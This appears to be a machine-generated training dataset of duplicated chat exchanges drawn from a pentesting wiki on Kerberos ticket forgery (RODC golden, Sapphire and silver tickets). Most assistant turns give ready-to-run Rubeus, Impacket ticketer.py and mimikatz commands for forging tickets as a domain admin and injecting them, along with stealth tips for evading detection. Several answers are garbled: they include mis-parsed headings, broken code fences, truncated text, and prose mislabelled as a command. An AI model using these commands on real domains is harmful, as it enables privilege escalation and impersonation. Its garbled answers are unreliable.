[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about RODC Golden tickets - Theory?

[Assistant]
With administrative access to an RODC, it is possible to dump all the cached credentials, including those of thekrbtgt_XXXXX account. The hash can be used to forge a "RODC golden ticket" for any account in the msDS-RevealOnDemandGroup and not in the msDS-NeverRevealGroup attributes of the RODC. This ticket can be presented to the RODC or any accessible standard writable Domain Controller to request a Service Ticket (ST).

> [!TIP]
> When presenting a RODC golden ticket to a writable (i.e. standard) Domain Controller, it is not worth crafting the PAC because it will be recalculated by the writable Domain Controller when issuing a service ticket (ST).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about RODC Golden tickets - Theory?

Response:
With administrative access to an RODC, it is possible to dump all the cached credentials, including those of thekrbtgt_XXXXX account. The hash can be used to forge a "RODC golden ticket" for any account in the msDS-RevealOnDemandGroup and not in the msDS-NeverRevealGroup attributes of the RODC. This ticket can be presented to the RODC or any accessible standard writable Domain Controller to request a Service Ticket (ST).

> [!TIP]
> When presenting a RODC golden ticket to a writable (i.e. standard) Domain Controller, it is not worth crafting the PAC because it will be recalculated by the writable Domain Controller when issuing a service ticket (ST).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on RODC Golden tickets - Theory

[Assistant]
With administrative access to an RODC, it is possible to dump all the cached credentials, including those of thekrbtgt_XXXXX account. The hash can be used to forge a "RODC golden ticket" for any account in the msDS-RevealOnDemandGroup and not in the msDS-NeverRevealGroup attributes of the RODC. This ticket can be presented to the RODC or any accessible standard writable Domain Controller to request a Service Ticket (ST).

> [!TIP]
> When presenting a RODC golden ticket to a writable (i.e. standard) Domain Controller, it is not worth crafting the PAC because it will be recalculated by the writable Domain Controller when issuing a service ticket (ST).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on RODC Golden tickets - Theory

Response:
With administrative access to an RODC, it is possible to dump all the cached credentials, including those of thekrbtgt_XXXXX account. The hash can be used to forge a "RODC golden ticket" for any account in the msDS-RevealOnDemandGroup and not in the msDS-NeverRevealGroup attributes of the RODC. This ticket can be presented to the RODC or any accessible standard writable Domain Controller to request a Service Ticket (ST).

> [!TIP]
> When presenting a RODC golden ticket to a writable (i.e. standard) Domain Controller, it is not worth crafting the PAC because it will be recalculated by the writable Domain Controller when issuing a service ticket (ST).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does RODC Golden tickets - Practice work?

[Assistant]
::: tabs

=== UNIX-like

_For the moment, no tool is available to only forge a RODC Golden Ticket from UNIX-like systems._

=== Windows

From Windows systems, Rubeus (C#) can be used for this purpose.

``powershell
Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID
``

:::

> [!TIP]
> > The secret ingredient for making an RODC golden ticket viable is including the correct key version number in the _kvno_ field of the ticket.
> >
> > _(Elad Shamir on_ _specterops.io__)_

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does RODC Golden tickets - Practice work?

Response:
::: tabs

=== UNIX-like

_For the moment, no tool is available to only forge a RODC Golden Ticket from UNIX-like systems._

=== Windows

From Windows systems, Rubeus (C#) can be used for this purpose.

``powershell
Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID
``

:::

> [!TIP]
> > The secret ingredient for making an RODC golden ticket viable is including the correct key version number in the _kvno_ field of the ticket.
> >
> > _(Elad Shamir on_ _specterops.io__)_


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform RODC Golden tickets - Practice?

[Assistant]
::: tabs

=== UNIX-like

_For the moment, no tool is available to only forge a RODC Golden Ticket from UNIX-like systems._

=== Windows

From Windows systems, Rubeus (C#) can be used for this purpose.

``powershell
Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID
``

:::

> [!TIP]
> > The secret ingredient for making an RODC golden ticket viable is including the correct key version number in the _kvno_ field of the ticket.
> >
> > _(Elad Shamir on_ _specterops.io__)_

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform RODC Golden tickets - Practice?

Response:
::: tabs

=== UNIX-like

_For the moment, no tool is available to only forge a RODC Golden Ticket from UNIX-like systems._

=== Windows

From Windows systems, Rubeus (C#) can be used for this purpose.

``powershell
Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID
``

:::

> [!TIP]
> > The secret ingredient for making an RODC golden ticket viable is including the correct key version number in the _kvno_ field of the ticket.
> >
> > _(Elad Shamir on_ _specterops.io__)_


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Sapphire tickets - Practice in the context of penetration testing

[Assistant]
Since Diamond tickets modify PACs on-the-fly to include arbitrary group IDs, chances are that some detection software can (or will be able to) detect discrepancies between a PAC's values and actual AD relationships (e.g. a PAC indicates a user belongs to some groups when in fact it doesn't).

Sapphire tickets are an alternative to obtaining similar tickets in a stealthier way, by including a legitimate powerful user's PAC in the ticket. There will be no discrepancy anymore between what's in the PAC and what's in Active Directory.

The powerful user's PAC can be obtained through an S4U2self+u2u trick.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ticketer (Python) script can be used for such purposes with the -impersonate argument.

Nota bene: the -user-id argument will be used to build the "Requestor" PAC structure, which could be needed in up-to-date environments (see warning at the bottom of this page).

The arguments used to customize the PAC will be ignored (-groups, -extra-sid,-duration), the required domain SID (-domain-sid) as well as the username supplied in the positional argument (baduser in this case). All these information will be kept as-is from the PAC obtained beforehand using the "S4U2self + U2U" technique.

``bash
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'
`

=== Windows

_At the time of writing this recipe (September 2022), no equivalent exists for Windows systems._

:::

> [!NOTE]
> In 2021, Microsoft issued a patch (KB5008380) for CVE-2021-42287 (see samaccountname-spoofing.md). The patch is explained a bit more in this blogpost. When the patch entered its enforcement phase (Oct. 11th 2022), it made the Sapphire Ticket attack harder to conduct.
>
> The patch introduced two new structures inside a TGT's PAC: "Requestor" (PAC_REQUESTOR) and "Attributes" (PA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Sapphire tickets - Practice in the context of penetration testing

Response:
Since Diamond tickets modify PACs on-the-fly to include arbitrary group IDs, chances are that some detection software can (or will be able to) detect discrepancies between a PAC's values and actual AD relationships (e.g. a PAC indicates a user belongs to some groups when in fact it doesn't).

Sapphire tickets are an alternative to obtaining similar tickets in a stealthier way, by including a legitimate powerful user's PAC in the ticket. There will be no discrepancy anymore between what's in the PAC and what's in Active Directory.

The powerful user's PAC can be obtained through an S4U2self+u2u trick.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ticketer (Python) script can be used for such purposes with the -impersonate argument.

Nota bene: the -user-id argument will be used to build the "Requestor" PAC structure, which could be needed in up-to-date environments (see warning at the bottom of this page).

The arguments used to customize the PAC will be ignored (-groups, -extra-sid,-duration), the required domain SID (-domain-sid) as well as the username supplied in the positional argument (baduser in this case). All these information will be kept as-is from the PAC obtained beforehand using the "S4U2self + U2U" technique.

``bash
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'
`

=== Windows

_At the time of writing this recipe (September 2022), no equivalent exists for Windows systems._

:::

> [!NOTE]
> In 2021, Microsoft issued a patch (KB5008380) for CVE-2021-42287 (see samaccountname-spoofing.md). The patch is explained a bit more in this blogpost. When the patch entered its enforcement phase (Oct. 11th 2022), it made the Sapphire Ticket attack harder to conduct.
>
> The patch introduced two new structures inside a TGT's PAC: "Requestor" (PAC_REQUESTOR) and "Attributes" (PA


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Sapphire tickets - Practice

[Assistant]
Since Diamond tickets modify PACs on-the-fly to include arbitrary group IDs, chances are that some detection software can (or will be able to) detect discrepancies between a PAC's values and actual AD relationships (e.g. a PAC indicates a user belongs to some groups when in fact it doesn't).

Sapphire tickets are an alternative to obtaining similar tickets in a stealthier way, by including a legitimate powerful user's PAC in the ticket. There will be no discrepancy anymore between what's in the PAC and what's in Active Directory.

The powerful user's PAC can be obtained through an S4U2self+u2u trick.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ticketer (Python) script can be used for such purposes with the -impersonate argument.

Nota bene: the -user-id argument will be used to build the "Requestor" PAC structure, which could be needed in up-to-date environments (see warning at the bottom of this page).

The arguments used to customize the PAC will be ignored (-groups, -extra-sid,-duration), the required domain SID (-domain-sid) as well as the username supplied in the positional argument (baduser in this case). All these information will be kept as-is from the PAC obtained beforehand using the "S4U2self + U2U" technique.

``bash
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'
`

=== Windows

_At the time of writing this recipe (September 2022), no equivalent exists for Windows systems._

:::

> [!NOTE]
> In 2021, Microsoft issued a patch (KB5008380) for CVE-2021-42287 (see samaccountname-spoofing.md). The patch is explained a bit more in this blogpost. When the patch entered its enforcement phase (Oct. 11th 2022), it made the Sapphire Ticket attack harder to conduct.
>
> The patch introduced two new structures inside a TGT's PAC: "Requestor" (PAC_REQUESTOR) and "Attributes" (PA

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Sapphire tickets - Practice

Response:
Since Diamond tickets modify PACs on-the-fly to include arbitrary group IDs, chances are that some detection software can (or will be able to) detect discrepancies between a PAC's values and actual AD relationships (e.g. a PAC indicates a user belongs to some groups when in fact it doesn't).

Sapphire tickets are an alternative to obtaining similar tickets in a stealthier way, by including a legitimate powerful user's PAC in the ticket. There will be no discrepancy anymore between what's in the PAC and what's in Active Directory.

The powerful user's PAC can be obtained through an S4U2self+u2u trick.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ticketer (Python) script can be used for such purposes with the -impersonate argument.

Nota bene: the -user-id argument will be used to build the "Requestor" PAC structure, which could be needed in up-to-date environments (see warning at the bottom of this page).

The arguments used to customize the PAC will be ignored (-groups, -extra-sid,-duration), the required domain SID (-domain-sid) as well as the username supplied in the positional argument (baduser in this case). All these information will be kept as-is from the PAC obtained beforehand using the "S4U2self + U2U" technique.

``bash
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'
`

=== Windows

_At the time of writing this recipe (September 2022), no equivalent exists for Windows systems._

:::

> [!NOTE]
> In 2021, Microsoft issued a patch (KB5008380) for CVE-2021-42287 (see samaccountname-spoofing.md). The patch is explained a bit more in this blogpost. When the patch entered its enforcement phase (Oct. 11th 2022), it made the Sapphire Ticket attack harder to conduct.
>
> The patch introduced two new structures inside a TGT's PAC: "Requestor" (PAC_REQUESTOR) and "Attributes" (PA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the ticketer.py command for sapphire tickets - practice

[Assistant]
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the ticketer.py command for sapphire tickets - practice

Response:
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Sapphire tickets - Practice during a pentest?

[Assistant]
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Sapphire tickets - Practice during a pentest?

Response:
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ticketer.py -request -impersonate 'domainadmin' \`?

[Assistant] This command is used for sapphire tickets - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ticketer.py -request -impersonate 'domainadmin' \`?

Response: This command is used for sapphire tickets - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about with an NT hash

[Assistant] python ticketer.py -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: python ticketer.py -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute with an NT hash?

[Assistant] python ticketer.py -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: python ticketer.py -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of with an AES (128 or 256 bits) key

[Assistant]
python ticketer.py -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"
``

The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org).

=== Windows

On Windows, mimikatz can be used to generate a silver ticket with kerberos::golden. Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of with an AES (128 or 256 bits) key

Response:
python ticketer.py -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"
``

The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org).

=== Windows

On Windows, mimikatz can be used to generate a silver ticket with kerberos::golden. Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with an AES (128 or 256 bits) key

[Assistant]
python ticketer.py -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"
``

The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org).

=== Windows

On Windows, mimikatz can be used to generate a silver ticket with kerberos::golden. Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for with an AES (128 or 256 bits) key

Response:
python ticketer.py -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"
``

The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org).

=== Windows

On Windows, mimikatz can be used to generate a silver ticket with kerberos::golden. Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use The for with an aes (128 or 256 bits) key?

[Assistant]
The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)).

=== Windows

On Windows, [mimikatz](https://github.com/gentilkiwi/mimikatz) can be used to generate a silver ticket with [`kerberos::golden`](https://tools.thehacker.recipes/mimikatz/modules/kerberos/golden). Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use The for with an aes (128 or 256 bits) key?

Response:
The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)).

=== Windows

On Windows, [mimikatz](https://github.com/gentilkiwi/mimikatz) can be used to generate a silver ticket with [`kerberos::golden`](https://tools.thehacker.recipes/mimikatz/modules/kerberos/golden). Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with an AES (128 or 256 bits) key

[Assistant]
The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)).

=== Windows

On Windows, [mimikatz](https://github.com/gentilkiwi/mimikatz) can be used to generate a silver ticket with [`kerberos::golden`](https://tools.thehacker.recipes/mimikatz/modules/kerberos/golden). Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)).

=== Windows

On Windows, [mimikatz](https://github.com/gentilkiwi/mimikatz) can be used to generate a silver ticket with [`kerberos::golden`](https://tools.thehacker.recipes/mimikatz/modules/kerberos/golden). Testers need to carefully choose the right SPN type (cifs, http, ldap, host, rpcss) depending on the wanted usage.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)).`?

[Assistant] This command is used for with an aes (128 or 256 bits) key. with an AES (128 or 256 bits) key

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `The SPN (ServicePrincipalName) set will have an impact on what services will be reachable. For instance, `cifs/target.domain` or `host/target.domain` will allow most remote dumping operations (more info on [adsecurity.org](https://adsecurity.org/?page_id=183)).`?

Response: This command is used for with an aes (128 or 256 bits) key. with an AES (128 or 256 bits) key


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about with an NT hash?

[Assistant] kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about with an NT hash?

Response: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with an NT hash

[Assistant] kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for with an NT hash

Response: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is with an AES 128 key?

[Assistant] kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on with an AES 128 key

[Assistant] kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does with an AES 256 key work?

[Assistant]
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::

> [!SUCCESS]
> A great, stealthier, alternative to silver ticket is to abuse S4U2self in order to impersonate a domain user with local admin privileges on the target machine by relying on Kerberos delegation instead of forging everything.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::

> [!SUCCESS]
> A great, stealthier, alternative to silver ticket is to abuse S4U2self in order to impersonate a domain user with local admin privileges on the target machine by relying on Kerberos delegation instead of forging everything.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute with an AES 256 key?

[Assistant]
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::

> [!SUCCESS]
> A great, stealthier, alternative to silver ticket is to abuse S4U2self in order to impersonate a domain user with local admin privileges on the target machine by relying on Kerberos delegation instead of forging everything.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::

> [!SUCCESS]
> A great, stealthier, alternative to silver ticket is to abuse S4U2self in order to impersonate a domain user with local admin privileges on the target machine by relying on Kerberos delegation instead of forging everything.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Kerberos?

[Assistant]
A Kerberos realm is a logical group of networked computers that share a common authentication database. The authentication database is used to store the Kerberos tickets that are issued to users and services when they authenticate to the network.

In a Kerberos environment, each networked computer is a member of a realm. The realm is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

A Kerberos realm can be implemented on any type of network, including networks that are not running Windows. In fact, the Kerberos protocol was developed as an open standard and is used by many different types of operating systems and networks.

On a Windows network, a Kerberos realm is typically equivalent to a domain. Each domain in a Windows network is a member of a realm, and the domain controller is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

However, on a non-Windows network, a Kerberos realm can be implemented independently of any domain structure. In this case, the Kerberos server is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

The Hacker Recipes mainly covers Kerberos attacks in a Windows context, but some attacks can also be conducted in non-Windows networks.

![](<../assets/Pass the things (dark).png>)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
A Kerberos realm is a logical group of networked computers that share a common authentication database. The authentication database is used to store the Kerberos tickets that are issued to users and services when they authenticate to the network.

In a Kerberos environment, each networked computer is a member of a realm. The realm is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

A Kerberos realm can be implemented on any type of network, including networks that are not running Windows. In fact, the Kerberos protocol was developed as an open standard and is used by many different types of operating systems and networks.

On a Windows network, a Kerberos realm is typically equivalent to a domain. Each domain in a Windows network is a member of a realm, and the domain controller is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

However, on a non-Windows network, a Kerberos realm can be implemented independently of any domain structure. In this case, the Kerberos server is responsible for authenticating users and services and for issuing and managing Kerberos tickets.

The Hacker Recipes mainly covers Kerberos attacks in a Windows context, but some attacks can also be conducted in non-Windows networks.

